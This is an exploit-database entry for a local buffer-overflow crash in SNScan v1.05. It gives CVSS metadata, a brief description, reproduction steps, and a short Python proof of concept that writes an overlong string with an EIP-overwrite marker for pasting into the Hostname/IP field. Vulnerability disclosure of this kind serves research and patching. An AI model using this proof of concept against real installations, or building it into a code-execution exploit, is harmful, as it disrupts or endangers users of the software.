SNScan v1.05 Scan Hostname/IP Field Buffer Overflow Crash PoC

vendor:

SNScan

by:

Daniel Velazquez

7,5

CVSS

HIGH

Denial of Service (DoS) Local

119

CWE

Product Name: SNScan

Affected Version From: 1.05

Affected Version To: 1.05

Patch Exists: YES

Related CWE: N/A

CPE: a:mcafee:snscan

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 8 x86 es

2016

SNScan v1.05 Scan Hostname/IP Field Buffer Overflow Crash PoC

SNScan v1.05 is vulnerable to a buffer overflow crash when a long string is entered into the Hostname/IP field. This can be exploited by an attacker to crash the application, denying service to legitimate users.

Mitigation:

Upgrade to the latest version of SNScan v1.05 or later.

Source

Exploit-DB raw data:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title     : SNScan v1.05 Scan Hostname/IP Field Buffer Overflow Crash PoC
# Discovery by      : Daniel Velazquez
# Email         : ingenierovelazquez@hotmail.com
# Discovery Date    : 12/01/2016
# Vendor Homepage   : http://www.foundstone.com
# Software Link     : http://www.mcafee.com/us/downloads/free-tools/snscan.aspx
# Tested Version    : 1.05
# Vulnerability Type    : Denial of Service (DoS) Local
# Tested on OS      : Windows 8 x86 es
# Steps to Produce the Crash: 
# 1.- Run python code : python SNScan-v1.05.py
# 2.- Open SNScan-v1.05.txt and copy content to clipboard
# 3.- Open SNScan.exe
# 4.- Clic button Ok
# 5.- Paste Clipboard Scan > Hostname/IP
# 6.- Clic on add button (->)
# 7.- Clic button Aceptar
# 8.- Crashed
 
buffer = "\x41" * 388
eip = "\x42" * 4
 
f = open ("SNScan-v1.05.txt", "w")
f.write(buffer + eip)
f.close()